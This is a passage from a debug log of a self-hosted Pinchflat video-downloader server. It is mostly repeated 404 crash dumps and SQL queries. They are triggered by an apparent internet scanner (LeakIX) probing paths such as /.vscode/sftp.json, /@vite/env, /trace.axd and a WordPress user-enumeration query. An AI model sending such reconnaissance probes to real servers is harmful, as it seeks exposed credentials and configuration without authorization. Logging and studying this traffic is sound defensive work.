"youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/trace.axd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, pri (truncated) 21:37:54.101 [info] GET /@vite/env 21:37:54.102 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=999.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:54.103 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1000.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:54.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:54.104 [error] #PID<0.36630.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 22) terminated Server: youtube.plexultra.com:80 (http) Request: GET /@vite/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36630.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlpF_WGUNmc0AAVvD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@vite/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@vite/env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 22, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36630.0>, params: %{}, path_info: ["@vite", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/@vite/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-con (truncated) 21:37:55.103 [info] GET /.vscode/sftp.json 21:37:55.104 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1057.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:55.105 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1059.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:55.105 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:55.106 [error] #PID<0.36631.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 23) terminated Server: youtube.plexultra.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36631.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMls07p6EPseYAAVvj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 23, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36631.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_coo (truncated) 21:37:56.104 [info] OPTIONS / 21:37:56.105 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1000.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:56.106 [debug] QUERY OK source="settings" db=0.2ms idle=1000.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:56.106 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:56.107 [error] #PID<0.36632.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 24) terminated Server: youtube.plexultra.com:80 (http) Request: OPTIONS / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "OPTIONS", owner: #PID<0.36632.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlwjg7jERyV4AARHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "OPTIONS", owner: #PID<0.36632.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-reque (truncated) 21:37:57.137 [info] GET / 21:37:57.137 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"rest_route" => "/wp/v2/users/"} Pipelines: [:browser] 21:37:57.139 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1090.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:57.140 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1091.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:37:57.141 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1035.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:57.145 [debug] QUERY OK source="media_items" db=3.1ms idle=1035.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:57.146 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=503.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:57.147 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:57.148 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:57.150 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:57.155 [debug] QUERY OK source="tasks" db=0.9ms idle=9.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:57.157 [debug] QUERY OK source="media_items" db=0.3ms idle=10.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:57.158 [debug] QUERY OK source="media_items" db=0.4ms idle=10.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:57.160 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:37:57.170 [debug] QUERY OK source="media_items" db=3.8ms idle=16.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:57.173 [debug] QUERY OK source="media_items" db=2.6ms queue=0.2ms idle=15.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", 